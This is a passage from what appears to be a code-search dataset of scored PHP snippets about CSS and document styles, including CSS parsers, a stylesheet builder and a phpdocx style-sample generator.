$nodevalues = '';\n\t for($i = 0; $i<$embedded_style->length; $i++)\n\t {\n\t\t$entry = $embedded_style->item($i);\n\t\t// echo $entry->nodeValue . \"\\n\";\n\t\t$nodevalues .= $entry->nodeValue ;\n\t }\n\n\t if($nodevalues !== '')\n\t {\n\t\t$mark_em++;\n\t }\n\n\n\t /* Find Inline StyleSheets\n\t * Only going to search through headings, paragraphs, lists, images\n\t * and other core items.\n\t */\n\t $element_types = array(\n\t\t\t\t\t'h1' => 0,\n\t\t\t\t\t'h2' => 0,\n\t\t\t\t\t'h3' => 0,\n\t\t\t\t\t'h4' => 0,\n\t\t\t\t\t'h5' => 0,\n\t\t\t\t\t'h6' => 0,\n\t\t\t\t\t'p' => 0,\n\t\t\t\t\t'ul' => 0,\n\t\t\t\t\t'ol' => 0,\n\t\t\t\t\t'dl' => 0,\n\t\t\t\t\t'dd' => 0,\n\t\t\t\t\t'dt' => 0,\n\t\t\t\t\t'li' => 0,\n\t\t\t\t\t'img' => 0,\n\t\t\t\t\t'body' => 0,\n\t\t\t\t\t'span' => 0,\n\t\t\t\t\t'a' => 0,\n\t\t\t\t\t'blockquote' => 0\n\t);\n\n\tforeach($element_types as $type=>$value)\n\t{\n\t $style_elements = $dom->getElementsByTagName($type);\n\t foreach($style_elements as $element)\n\t {\n\t\tif($element->getAttribute('style') !== '')\n\t\t{\n\t\t\t$element_types[$type]++;\n\t\t}\n\t }\n\t}\n\n\tforeach($element_types as $types=>$value)\n\t{\n\t\t$mark_in += $value;\n\t}\n\n\tif(($mark_in > 0) && ($mark_em > 0) && ($mark_ex > 0))\n\t{\n\t\t$this->ca2Marks += 0.25;\n\t\t$this->ca2Comments .= \";All levels of CSS present: Good\";\n\t}\n\telse\n\t{\n\t\t$this->ca2Comments .= \";Need to use Inline Embedded and External CSS\";\n\t}\n\t}", "title": "" }, { "docid": "dc6f5ab900645f9061017d8340a387f3", "score": "0.5951322", "text": "public function getCssSelectors();", "title": "" }, { "docid": "dd579c9b8219167eced676a050abe696", "score": "0.591278", "text": "function ParseCSStoRules ($myThemeID = null, $myCss = null) {\n\t\tglobal $error, $msg;\n\n\t\t$DEBUG = 0;\n\t\t$rules = array ();\n\t\t$cssArray = array ();\n\n\t\t$myThemeID\n\t\t\t\t? $myTheme = $this->FP_Themes[$myThemeID]\n\t\t\t\t: $myTheme = $this->FP_Themes[$this->themeID];\n\n\t\t$myCss\n\t\t\t\t? $this->css = $myCss\n\t\t\t\t: $this->css = $this->FetchCSSFile ();\n\n\t\t// Parse the CSS to get the data\n\t\t// Format should be title, stylename, property, value, description\n\t\t$this->FetchVariationStyles ();\n\n\t\tfor ($i=0;$i<count ($this->styles[2]); $i++) {\n\t\t\t$name = trim($this->styles[2][$i]);\n\t\t\t$property = trim($this->styles[3][$i]);\n\t\t\t$value = trim($this->styles[4][$i]);\n\t\t\t$fulltitle = trim($this->styles[1][$i]);\n\t\t\tlist ($title, $description) = explode(\":\", $fulltitle);\n\t\t\t$title = trim($title);\n\t\t\t$description = trim($description);\n\n\t\t\t// if multiple names (selectors) are together, e.g. h1,h2\n\t\t\t// then we split that into multiple rules, one for each\n\t\t\tif (strpos($name, ',') != false) {\n\t\t\t\t$names = explode(',', $name);\n\t\t\t} else {\n\t\t\t\t$names = array ($name);\n\t\t\t}\n\n\t\t\tforeach ($names as $name) {\n\t\t\t\t$name = trim($name);\n\t\t\t\t$cssArray[$name] = array (\n\t\t\t\t\t\t\"name\"\t\t\t=> $name,\n\t\t\t\t\t\t\"property\"\t\t=> $property,\n\t\t\t\t\t\t\"value\"\t\t\t=> $value,\n\t\t\t\t\t\t\"title\"\t\t\t=> $title,\n\t\t\t\t\t\t\"description\"\t=> $description\n\t\t\t\t);\n\t\t\t\t$ri = strtolower($name.$property);\n\t\t\t\t$ri = preg_replace (\"/\\W/\", \"__\", $ri);\n\t\t\t\t$DEBUG && $msg .= __FUNCTION__.\": <i>$ri:</i> $name { $property : $value }<BR>\";\n\n\t\t\t\t// preserve title/desc from prev. rules on page, if a later rule overwrites\n\t\t\t\tif ($rules[$ri]) {\n\t\t\t\t\t$title || $title = $rules[$ri]['title'];\n\t\t\t\t\t$description || $description = $rules[$ri]['description'];\n\t\t\t\t\t$DEBUG && $msg .= __FUNCTION__.\": title = $title<BR><BR>\";\n\t\t\t\t\t$DEBUG && $msg .= __FUNCTION__.\": description = $description<BR><BR>\";\n\t\t\t\t}\n\t\t\t\t$rules[$ri] = array (\n\t\t\t\t\t\t'selector'=>$name,\n\t\t\t\t\t\t'declaration'=> array (\n\t\t\t\t\t\t\t\t'property'=>$property,\n\t\t\t\t\t\t\t\t'value'=>$value\n\t\t\t\t\t\t),\n\t\t\t\t\t\t\"title\"\t\t\t=> $title,\n\t\t\t\t\t\t\"description\"\t=> $description\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\t$this->rules = $rules;\n\t\t//$DEBUG && var_dump ($rules);\n\t\treturn $cssArray ;\n\t}", "title": "" }, { "docid": "3f246d6c335b295a145dc4d5ba24e233", "score": "0.58803", "text": "public function importStyleSheet($stylesheet);", "title": "" }, { "docid": "0d9f3c2772dfb3866298418c18aa44bc", "score": "0.5869223", "text": "public static function extract_style($text, $query, $style_property)\n {\n $Results = [];\n\n $my_dom = new \\DOMDocument();\n @$my_dom->loadHTML($text);\n $xpath = new \\DOMXPath($my_dom);\n \n $QueryResults = $xpath->query($query);\n foreach ($QueryResults as $QueryResult)\n {\n $style = $QueryResult->getAttribute('style');\n $style = array_filter( explode(';',$style) );\n $styles = array();\n foreach ($style as $one_style)\n {\n $one_style = explode(':', $one_style);\n $styles[$one_style[0]] = $one_style[1]; \n }\n //print_r($styles);\n if( isset($styles[$style_property]) )\n {\n $Results[] = $styles[$style_property];\n }\n }\n return $Results;\n }", "title": "" }, { "docid": "e337b0da61b044cd323249b2010d0859", "score": "0.5765191", "text": "public function allCss();", "title": "" }, { "docid": "e337b0da61b044cd323249b2010d0859", "score": "0.5765191", "text": "public function allCss();", "title": "" }, { "docid": "1defc435b0f05e456b7bd3dea4823d6b", "score": "0.57595474", "text": "public function parseStyles($path = '')\n {\n if ($path != '') {\n $tempTitle = explode('/', $path);\n $title = array_pop($tempTitle);\n $parseStyles = new ZipArchive();\n try {\n $openParseStyle = $parseStyles->open($path);\n if ($openParseStyle !== true) {\n throw new Exception('Error while opening the Style sheet to be tested: please, check the path');\n }\n } catch (Exception $e) {\n //PhpdocxLogger::logger($e->getMessage(), 'fatal');\n }\n\n try {\n $parsedStyles = $parseStyles->getFromName('word/styles.xml');\n if ($parsedStyles == '') {\n throw new Exception('Error while extracting the styles to be parsed from the external docx');\n }\n } catch (Exception $e) {\n //PhpdocxLogger::logger($e->getMessage(), 'fatal');\n }\n\n try {\n $parsedNumberings = $parseStyles->getFromName('word/numbering.xml');\n if ($parsedNumberings == '') {\n throw new Exception('Error while extracting the numberings to be parsed from the external docx');\n }\n } catch (Exception $e) {\n //PhpdocxLogger::logger($e->getMessage(), 'fatal');\n }\n } else {\n if ($this->_docxTemplate == true) {\n $tempTitle = explode('/', $this->_baseTemplatePath);\n } else {\n $tempTitle = explode('/', PHPDOCX_BASE_TEMPLATE);\n }\n $title = array_pop($tempTitle);\n $this->_wordDocumentC = '';\n $parsedStyles = $this->_wordStylesT->saveXML();\n $parsedNumberings = $this->_wordNumberingT;\n }\n\n\n // include certain sample content to create the resulting style docx\n\n $myParagraph = 'This is some sample paragraph test';\n $myList = ['item 1', 'item 2', ['subitem 2_1', 'subitem 2_2'], 'item 3', ['subitem 3_1', 'subitem 3_2', ['sub_subitem 3_2_1', 'sub_subitem 3_2_1']], 'item 4'];\n $myTable = [\n [\n 'Title A',\n 'Title B',\n 'Title C'\n ],\n [\n 'First row A',\n 'First row B',\n 'First row C'\n ],\n [\n 'Second row A',\n 'Second row B',\n 'Second row C'\n ]\n ];\n\n // parse the different list numberings from\n $this->addText('List styles: ' . $title, ['jc' => 'center', 'color' => 'b90000', 'b' => 'single', 'sz' => '18', 'u' => 'double']);\n\n $wordListChunk = '<w:p><w:pPr><w:rPr><w:b/></w:rPr></w:pPr>\n <w:r><w:rPr><w:b/></w:rPr><w:t>SAMPLE CODE:</w:t></w:r>\n </w:p><w:tbl><w:tblPr><w:tblW w:w=\"0\" w:type=\"auto\"/>\n <w:shd w:val=\"clear\" w:color=\"auto\" w:fill=\"DDD9C3\"/>\n <w:tblLook w:val=\"04A0\"/></w:tblPr><w:tblGrid>\n <w:gridCol w:w=\"8644\"/></w:tblGrid><w:tr><w:tc>\n <w:tcPr><w:tcW w:w=\"8644\" w:type=\"dxa\"/>\n <w:shd w:val=\"clear\" w:color=\"auto\" w:fill=\"DCDAC4\"/>\n </w:tcPr><w:p><w:pPr><w:spacing w:before=\"200\"/></w:pPr>\n <w:r><w:t>$</w:t></w:r><w:r>\n <w:t>myList</w:t></w:r><w:r>\n <w:t xml:space=\"preserve\"> = array(\\'item 1\\', </w:t>\n </w:r><w:r>\n <w:br/>\n <w:t xml:space=\"preserve\"> </w:t>\n </w:r><w:r>\n <w:t xml:space=\"preserve\">\\'item 2\\', </w:t>\n </w:r><w:r><w:br/>\n <w:t xml:space=\"preserve\"> </w:t>\n </w:r><w:r><w:t>array(\\'</w:t></w:r><w:r><w:t>subitem</w:t>\n </w:r><w:r>\n <w:t xml:space=\"preserve\"> 2_1\\', </w:t></w:r><w:r><w:br/>\n <w:t xml:space=\"preserve\"> </w:t>\n </w:r><w:r><w:t>\\'</w:t>\n </w:r><w:r><w:t>subitem</w:t></w:r><w:r>\n <w:t xml:space=\"preserve\"> 2_2\\'), </w:t></w:r><w:r><w:br/>\n <w:t xml:space=\"preserve\"> </w:t>\n </w:r><w:r><w:t xml:space=\"preserve\">\\'item 3\\', </w:t></w:r>\n <w:r><w:br/>\n <w:t xml:space=\"preserve\"> </w:t>\n </w:r><w:r><w:t>array(\\'</w:t></w:r><w:r><w:t>subitem</w:t>\n </w:r><w:r><w:t xml:space=\"preserve\"> 3_1\\', </w:t></w:r>\n <w:r><w:br/>\n <w:t xml:space=\"preserve\"> </w:t>\n </w:r><w:r><w:t>\\'</w:t></w:r><w:r><w:t>subitem</w:t></w:r>\n <w:r><w:t xml:space=\"preserve\"> 3_2\\', </w:t></w:r><w:r><w:br/>\n <w:t xml:space=\"preserve\"> </w:t>\n </w:r><w:r><w:t>array(\\'</w:t></w:r><w:r><w:t>sub_subitem</w:t></w:r><w:r>\n <w:t xml:space=\"preserve\"> 3_2_1\\', </w:t></w:r><w:r><w:br/>\n <w:t xml:space=\"preserve\"> </w:t>\n </w:r><w:r><w:t>\\'</w:t></w:r><w:r><w:t>sub_subitem</w:t></w:r><w:r>\n <w:t xml:space=\"preserve\"> 3_2_1\\')),</w:t></w:r><w:r><w:br/>\n <w:t xml:space=\"preserve\"> </w:t>\n </w:r><w:r><w:t xml:space=\"preserve\"> \\'item 4\\');</w:t></w:r></w:p>\n <w:p><w:pPr><w:spacing w:before=\"200\"/></w:pPr>\n <w:r><w:t>addList</w:t></w:r><w:r><w:t>($</w:t></w:r>\n <w:r><w:t>myList</w:t></w:r><w:r><w:t>, NUMID</w:t></w:r>\n <w:r><w:t>))</w:t></w:r></w:p></w:tc></w:tr></w:tbl><w:p><w:pPr></w:pPr>\n </w:p>\n <w:p><w:pPr><w:rPr><w:b/></w:rPr></w:pPr>\n <w:r><w:rPr><w:b/></w:rPr><w:t>SAMPLE RESULT:</w:t></w:r>\n </w:p>';\n $NumberingsDoc = new DOMDocument();\n $NumberingsDoc->loadXML($parsedNumberings);\n $numberXpath = new DOMXPath($NumberingsDoc);\n $numberXpath->registerNamespace('w', 'http://schemas.openxmlformats.org/wordprocessingml/2006/main');\n $queryNumber = '//w:num';\n $numberingsNodes = $numberXpath->query($queryNumber);\n foreach ($numberingsNodes as $node) {\n $wordListChunkTemp = str_replace('NUMID', $node->getAttribute('w:numId'), $wordListChunk);\n $this->_wordDocumentC .= $wordListChunkTemp;\n $this->addList($myList, (int) $node->getAttribute('w:numId'));\n $this->addBreak(['type' => 'page']);\n }\n\n $this->addText('Paragraph and Table styles: ' . $title, ['jc' => 'center', 'color' => 'b90000', 'b' => 'single', 'sz' => '18', 'u' => 'double']);\n\n // parse the different styles using XPath\n $StylesDoc = new DOMDocument();\n $StylesDoc->loadXML($parsedStyles);\n $parseStylesXpath = new DOMXPath($StylesDoc);\n $parseStylesXpath->registerNamespace('w', 'http://schemas.openxmlformats.org/wordprocessingml/2006/main');\n $query = '//w:style';\n $parsedNodes = $parseStylesXpath->query($query);\n // list the present styles and their respective Ids\n $count = 1;\n foreach ($parsedNodes as $node) {\n $styleId = $node->getAttribute('w:styleId');\n $styleType = $node->getAttribute('w:type');\n $styleDefault = $node->getAttribute('w:default');\n $styleCustom = $node->getAttribute('w:custom');\n $nodeChilds = $node->childNodes;\n foreach ($nodeChilds as $child) {\n if ($child->nodeName == 'w:name') {\n $styleName = $child->getAttribute('w:val');\n }\n }\n $this->parsedStyles[$count] = ['id' => $styleId, 'name' => $styleName, 'type' => $styleType, 'default' => $styleDefault, 'custom' => $styleCustom];\n\n $default = ($styleDefault == 1) ? 'true' : 'false';\n $custom = ($styleCustom == 1) ? 'true' : 'false';\n\n $wordMLChunk = '<w:tbl><w:tblPr><w:tblW w:w=\"0\" w:type=\"auto\"/>\n </w:tblPr><w:tblGrid><w:gridCol w:w=\"4322\"/><w:gridCol w:w=\"4322\"/>\n </w:tblGrid><w:tr><w:tc><w:tcPr><w:tcW w:w=\"4322\" w:type=\"dxa\"/>\n <w:shd w:val=\"clear\" w:color=\"auto\" w:fill=\"BD1503\"/>\n </w:tcPr><w:p><w:pPr><w:spacing w:after=\"0\"/><w:rPr>\n <w:color w:val=\"FFFFFF\"/></w:rPr></w:pPr><w:r><w:rPr>\n <w:color w:val=\"FFFFFF\"/></w:rPr><w:t>NAME:</w:t></w:r></w:p>\n </w:tc><w:tc><w:tcPr><w:tcW w:w=\"4322\" w:type=\"dxa\"/>\n <w:shd w:val=\"clear\" w:color=\"auto\" w:fill=\"BD1503\"/></w:tcPr>\n <w:p><w:pPr><w:spacing w:after=\"0\"/><w:rPr><w:color w:val=\"FFFFFF\"/>\n </w:rPr></w:pPr><w:r><w:rPr><w:color w:val=\"FFFFFF\"/>\n </w:rPr><w:t>' . $styleName . '</w:t></w:r></w:p></w:tc>\n </w:tr><w:tr><w:tc><w:tcPr><w:tcW w:w=\"4322\" w:type=\"dxa\"/>\n <w:shd w:val=\"clear\" w:color=\"auto\" w:fill=\"3E3E42\"/>\n </w:tcPr><w:p><w:pPr><w:spacing w:after=\"0\" w:line=\"240\" w:lineRule=\"auto\"/>\n <w:rPr><w:color w:val=\"FFFFFF\"/></w:rPr></w:pPr><w:r>\n <w:rPr><w:color w:val=\"FFFFFF\"/></w:rPr><w:t>Type</w:t>\n </w:r><w:r><w:rPr><w:color w:val=\"FFFFFF\"/></w:rPr>\n <w:t>:</w:t></w:r></w:p></w:tc><w:tc><w:tcPr>\n <w:tcW w:w=\"4322\" w:type=\"dxa\"/>\n <w:shd w:val=\"clear\" w:color=\"auto\" w:fill=\"3E3E42\"/>\n </w:tcPr><w:p><w:pPr>\n <w:spacing w:after=\"0\" w:line=\"240\" w:lineRule=\"auto\"/>\n <w:rPr><w:color w:val=\"FFFFFF\"/></w:rPr></w:pPr><w:r>\n <w:rPr><w:color w:val=\"FFFFFF\"/></w:rPr>\n <w:t>' . $styleType . '</w:t></w:r></w:p></w:tc></w:tr>\n <w:tr><w:tc><w:tcPr>\n <w:tcW w:w=\"4322\" w:type=\"dxa\"/>\n <w:shd w:val=\"clear\" w:color=\"auto\" w:fill=\"3E3E42\"/>\n </w:tcPr><w:p><w:pPr>\n <w:spacing w:after=\"0\" w:line=\"240\" w:lineRule=\"auto\"/>\n <w:rPr><w:color w:val=\"FFFFFF\"/></w:rPr></w:pPr><w:r>\n <w:rPr><w:color w:val=\"FFFFFF\"/></w:rPr>\n <w:t>ID:</w:t></w:r></w:p></w:tc><w:tc>\n <w:tcPr><w:tcW w:w=\"4322\" w:type=\"dxa\"/>\n <w:shd w:val=\"clear\" w:color=\"auto\" w:fill=\"3E3E42\"/>\n </w:tcPr><w:p><w:pPr>\n <w:spacing w:after=\"0\" w:line=\"240\" w:lineRule=\"auto\"/>\n <w:rPr><w:color w:val=\"FFFFFF\"/></w:rPr></w:pPr><w:r>\n <w:rPr><w:color w:val=\"FFFFFF\"/></w:rPr>\n <w:t>' . $styleId . '</w:t></w:r></w:p></w:tc></w:tr><w:tr><w:tc><w:tcPr>\n <w:tcW w:w=\"4322\" w:type=\"dxa\"/>\n <w:shd w:val=\"clear\" w:color=\"auto\" w:fill=\"3E3E42\"/></w:tcPr>\n <w:p><w:pPr><w:spacing w:after=\"0\" w:line=\"240\" w:lineRule=\"auto\"/>\n <w:rPr><w:color w:val=\"FFFFFF\"/></w:rPr></w:pPr><w:r>\n <w:rPr><w:color w:val=\"FFFFFF\"/></w:rPr><w:t>Default:</w:t></w:r>\n </w:p></w:tc><w:tc><w:tcPr><w:tcW w:w=\"4322\" w:type=\"dxa\"/>\n <w:shd w:val=\"clear\" w:color=\"auto\" w:fill=\"3E3E42\"/>\n </w:tcPr><w:p><w:pPr>\n <w:spacing w:after=\"0\" w:line=\"240\" w:lineRule=\"auto\"/>\n <w:rPr><w:color w:val=\"FFFFFF\"/></w:rPr></w:pPr>\n <w:r><w:rPr><w:color w:val=\"FFFFFF\"/></w:rPr>\n <w:t>' . $default . '</w:t></w:r></w:p></w:tc></w:tr><w:tr>\n <w:tc><w:tcPr><w:tcW w:w=\"4322\" w:type=\"dxa\"/>\n <w:shd w:val=\"clear\" w:color=\"auto\" w:fill=\"3E3E42\"/>\n </w:tcPr><w:p><w:pPr>\n <w:spacing w:after=\"0\" w:line=\"240\" w:lineRule=\"auto\"/>\n <w:rPr><w:color w:val=\"FFFFFF\"/></w:rPr></w:pPr>\n <w:r><w:rPr><w:color w:val=\"FFFFFF\"/></w:rPr><w:t>Custom</w:t>\n </w:r><w:r><w:rPr><w:color w:val=\"FFFFFF\"/></w:rPr>\n <w:t>:</w:t></w:r></w:p></w:tc><w:tc><w:tcPr>\n <w:tcW w:w=\"4322\" w:type=\"dxa\"/>\n <w:shd w:val=\"clear\" w:color=\"auto\" w:fill=\"3E3E42\"/>\n </w:tcPr><w:p><w:pPr>\n <w:spacing w:after=\"0\" w:line=\"240\" w:lineRule=\"auto\"/>\n <w:rPr><w:color w:val=\"FFFFFF\"/></w:rPr></w:pPr><w:r>\n <w:rPr><w:color w:val=\"FFFFFF\"/></w:rPr><w:t>' . $custom . '</w:t>\n </w:r></w:p></w:tc></w:tr></w:tbl>\n <w:p w:rsidR=\"000F6147\" w:rsidRDefault=\"000F6147\" w:rsidP=\"00B42E7D\">\n <w:pPr><w:spacing w:after=\"0\"/></w:pPr></w:p>\n <w:p w:rsidR=\"00DC3ACE\" w:rsidRDefault=\"00DC3ACE\">\n <w:pPr><w:rPr><w:b/></w:rPr></w:pPr><w:r>\n <w:rPr><w:b/></w:rPr><w:t>SAMPLE CODE:</w:t></w:r></w:p>\n <w:tbl><w:tblPr><w:tblW w:w=\"0\" w:type=\"auto\"/>\n <w:shd w:val=\"clear\" w:color=\"auto\" w:fill=\"DDD9C3\"/>\n </w:tblPr><w:tblGrid><w:gridCol w:w=\"8644\"/>\n </w:tblGrid><w:tr><w:tc><w:tcPr><w:tcW w:w=\"8644\" w:type=\"dxa\"/>\n <w:shd w:val=\"clear\" w:color=\"auto\" w:fill=\"DCDAC4\"/></w:tcPr>\n <w:p w:rsidR=\"00DC3ACE\" w:rsidRDefault=\"00DC3ACE\">\n <w:pPr><w:spacing w:before=\"200\" /></w:pPr><w:r>\n <w:t>CODEX</w:t></w:r></w:p></w:tc></w:tr></w:tbl><w:p/><w:p>\n <w:pPr><w:rPr><w:b/></w:rPr></w:pPr><w:r><w:rPr><w:b/>\n </w:rPr><w:t>SAMPLE RESULT:</w:t></w:r></w:p>\n ';\n\n switch ($styleType) {\n case 'table':\n $wordMLChunk = str_replace('CODEX', \"addTable(array(array('Title A','Title B','Title C'),array('First row A','First row B','First row C'),array('Second row A','Second row B','Second row C')), array('tableStyle'=> '$styleId'), 'columnWidths' => array(1800, 1800, 1800))\", $wordMLChunk);\n $this->_wordDocumentC .= $wordMLChunk;\n $params = ['tableStyle' => $styleId, 'columnWidths' => [1800, 1800, 1800]];\n $this->addTable($myTable, $params);\n if ($count % 2 == 0) {\n $this->_wordDocumentC .= '<w:p><w:r><w:br w:type=\"page\"/></w:r></w:p>';\n } else {\n $this->_wordDocumentC .= '<w:p /><w:p />';\n }\n $count++;\n break;\n case 'paragraph':\n $myPCode = \"addText('This is some sample paragraph test', array('pStyle' => '\" . $styleId . \"'))\";\n $wordMLChunk = str_replace('CODEX', $myPCode, $wordMLChunk);\n $this->_wordDocumentC .= $wordMLChunk;\n $params = ['pStyle' => $styleId];\n $this->addText($myParagraph, $params);\n if ($count % 2 == 0) {\n $this->_wordDocumentC .= '<w:p><w:r><w:br w:type=\"page\"/></w:r></w:p>';\n } else {\n $this->_wordDocumentC .= '<w:p /><w:p />';\n }\n $count++;\n break;\n }\n }\n }", "title": "" }, { "docid": "432e94b089794ed9e1c4116b35dfb7b4", "score": "0.57091445", "text": "public function getCss();", "title": "" }, { "docid": "432e94b089794ed9e1c4116b35dfb7b4", "score": "0.57091445", "text": "public function getCss();", "title": "" }, { "docid": "2c01634392d0dae02560fa46a089285f", "score": "0.5639107", "text": "public function generateStylesFromBody()\n {\n $selectors = $this->getSeletors();\n $styles = [];\n foreach ($selectors as $selector) {\n $styles[$selector] = new Style($selector);\n }\n $this->setStyles($styles);\n }", "title": "" }, { "docid": "d02b828157053beee5cacd42c9fe7ead", "score": "0.5613801", "text": "public function css();", "title": "" }, { "docid": "d02b828157053beee5cacd42c9fe7ead", "score": "0.5613801", "text": "public function css();", "title": "" }, { "docid": "deeeae1f4e8b607ca531e062830002dc", "score": "0.5613545", "text": "public function postparse() {\n\t\tif ($this->parser->get_cfg('preserve_css')) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ((int)$this->parser->get_cfg('merge_selectors') === 2) {\n\t\t\tforeach ($this->css as $medium => $value) {\n\t\t\t\t$this->merge_selectors($this->css[$medium]);\n\t\t\t}\n\t\t}\n\n\t\tif ($this->parser->get_cfg('discard_invalid_selectors')) {\n\t\t\tforeach ($this->css as $medium => $value) {\n\t\t\t\t$this->discard_invalid_selectors($this->css[$medium]);\n\t\t\t}\n\t\t}\n\n\t\tif ($this->parser->get_cfg('optimise_shorthands') > 0) {\n\t\t\tforeach ($this->css as $medium => $value) {\n\t\t\t\tforeach ($value as $selector => $value1) {\n\t\t\t\t\t$this->css[$medium][$selector] = $this->merge_4value_shorthands($this->css[$medium][$selector]);\n\n\t\t\t\t\tif ($this->parser->get_cfg('optimise_shorthands') < 2) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$this->css[$medium][$selector] = $this->merge_font($this->css[$medium][$selector]);\n\n\t\t\t\t\tif ($this->parser->get_cfg('optimise_shorthands') < 3) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$this->css[$medium][$selector] = $this->merge_bg($this->css[$medium][$selector]);\n\t\t\t\t\tif (empty($this->css[$medium][$selector])) {\n\t\t\t\t\t\tunset($this->css[$medium][$selector]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "84c90f17575fdd323cc0b37c091c45c3", "score": "0.558834", "text": "public function LoadAllStyles($stylesheet=\"default\"){\n //ota talteen tässä stylesheetissä valmiiksi tuetut luokat\n $classnames = $this->LoadSlideClassNames($stylesheet);\n $text_tags = Array(\"header\", \"aside\", \"article\",\"h1\",\"h2\",\"h3\",\"p\",\"img\",\"ul\"); \n $css_style_blocks = \"\";\n foreach($classnames as $classname){\n //Ensin muut kuin tägeittäin asetellut tyylit\n $attrs = $this->GetStylesAsString($classname,'',$stylesheet);\n $css_style_blocks .= \"\\n\\n$classname {\\n {$attrs}\\n}\";\n //Sitten tägeittäin (=tekstitasoittain: p, h1, h2 jne... mutta myös article ja header ja aside)\n foreach($text_tags as $tag){\n $attrs = $this->GetStylesAsString($classname, $tag, $stylesheet);\n $css_style_blocks .= \"\\n\\n$classname $tag {\\n {$attrs}\\n}\";\n }\n }\n $this->html = $css_style_blocks;\n }", "title": "" }, { "docid": "6a5b0450d654100ce9f7bb69a13ebee2", "score": "0.5568328", "text": "public function scanCssFile($path) {\n $handle = fopen($path, \"r\");\n $rules = array();\n\n $lineNumber = -1;\n while (($line = fgets($handle)) !== false) {\n $lineNumber++;\n if (!preg_match('/@theme/', $line)) continue;\n\n list($selector, $comment, $rule) = $this->makeRule($path, $lineNumber);\n\n // Create a new rule if its not already in the list\n if (!isset($rules[$selector])) {\n $rules[$selector] = array($rule);\n $rules[$selector]['comments'] = array($comment);\n continue;\n } \n\n // checks for duplicate rules\n if (in_array($rule, $rules[$selector])) continue;\n $rules[$selector][] = $rule;\n\n // checks for duplicate comments\n if (in_array($comment, $rules[$selector]['comments'])) continue;\n $rules[$selector]['comments'][] = $comment;\n } \n\n fclose($handle);\n\n return $rules;\n }", "title": "" }, { "docid": "6560395fe65cdf2d132e3b048015cead", "score": "0.5559005", "text": "public function __stylesheet() {\n\t\t$stylesheets = $this->__stylesheets();\n\n\t\tforeach ($this->__context() as $c) {\n\t\t\tif (!isset($stylesheets[$c]))\n\t\t\t\tcontinue;\n\n\t\t\treturn $stylesheets[$c];\n\t\t}\n\n\t\treturn false;\n\t}", "title": "" }, { "docid": "109c924f980a447167f0608869596feb", "score": "0.5533275", "text": "public function LoadAllStyleSheets(){\n $data = $this->con->select(\"styles\",\n [\"stylesheet\" => Medoo::raw('DISTINCT(stylesheet)')],\n [\"ORDER\" => \"stylesheet\"]);\n $newdata = [];\n foreach($data as $row){\n $newdata[] = $row[\"stylesheet\"];\n }\n return $newdata;\n }", "title": "" }, { "docid": "2514d1749948decb16f51faa3536dd91", "score": "0.5471032", "text": "public static function buildStyles() {\n\t\tglobal $wtcDB, $lang;\n\n\t\t// initiate some stuff...\n\t\t$styleIter = new RecursiveIteratorIterator(new RecursiveStyleIterator(-1, 0, true), true);\n\t\t$templates = Style::buildAllFragments();\n\t\t$fragIds = Array();\n\n\t\t// create an array correlating the type of a CSS val\n\t\t// to it's actual property\n\t\t$cssCorrelation = Array(\n\t\t\t\t\t\t\t'bgColor' => 'background:',\n\t\t\t\t\t\t\t'fontFamily' => 'font-family:',\n\t\t\t\t\t\t\t'fontColor' => 'color:',\n\t\t\t\t\t\t\t'fontSize' => 'font-size:',\n\t\t\t\t\t\t\t'fontStyle' => 'font-style:',\n\t\t\t\t\t\t\t'fontWeight' => 'font-weight:',\n\t\t\t\t\t\t\t'textDec' => 'text-decoration:',\n\t\t\t\t\t\t\t'advanced_extra' => ''\n\t\t\t\t\t\t);\n\n\t\t// now a correlation for the different kinds of classes\n\t\t$classCorrelation = Array(\n\t\t\t\t\t\t\t\t'main' => '', 'regLink' => ' a', 'visitLink' => ' a:visited',\n\t\t\t\t\t\t\t\t'hoverLink' => ' a:hover'\n\t\t\t\t\t\t\t);\n\n\t\tforeach($styleIter as $style) {\n\t\t\t// loop through fragids and set to inherit...\n\t\t\tif(isset($fragIds[$styleIter->getDepth() - 1])) {\n\t\t\t\tforeach($fragIds[$styleIter->getDepth() - 1] as $styleid => $more) {\n\t\t\t\t\tforeach($more as $index => $vals) {\n\t\t\t\t\t\t$fragIds[$styleIter->getDepth()][$style->getStyleId()][$index]['type'] = 'inherit';\n\t\t\t\t\t\t$fragIds[$styleIter->getDepth()][$style->getStyleId()][$index]['fragmentid'] = $vals['fragmentid'];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// iterate through each style's templates\n\t\t\t// keep a defaultid to fragmentid relationship\n\t\t\t// so we know which ids to override...\n\t\t\tif(isset($templates[$style->getStyleId()])) {\n\t\t\t\tforeach($templates[$style->getStyleId()] as $fragid => $template) {\n\t\t\t\t\t$fragIds[$styleIter->getDepth()][$style->getStyleId()][$template->getDefaultId()] = Array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type' => 'override',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'fragmentid' => $fragid\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// serialize and update...\n\t\t\t$update['fragmentids'] = serialize($fragIds[$styleIter->getDepth()][$style->getStyleId()]);\n\t\t\t$style->info['fragmentids'] = $fragIds[$styleIter->getDepth()][$style->getStyleId()];\n\t\t\t$style->update($update);\n\n\t\t\t// now build the style sheet for each style...\n\t\t\t$css = $style->buildFragments('style');\n\t\t\t$sheet = '/**' . \"\\n\";\n\t\t\t\t$sheet .= ' * CSS For Style: ' . $style->getName() . \"\\n\";\n\t\t\t\t$sheet .= ' * Style ID: ' . $style->getStyleId() . \"\\n\";\n\t\t\t$sheet .= ' */' . \"\\n\\n\";\n\n\t\t\t$advancedCss = null;\n\t\t\t\n\t\t\tforeach($css as $groupid => $more) {\n\t\t\t\tforeach($more as $fragid => $cssObj) {\n\t\t\t\t\t// Advanced css must be appended to the end of the stylesheet\n\t\t\t\t\tif($cssObj->getVarName() == 'advanced')\n\t\t\t\t\t{\n\t\t\t\t\t\t$advancedCss = $cssObj;\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$cssVals = unserialize($cssObj->getFragment());\n\n\t\t\t\t\tif(is_array($cssVals)) 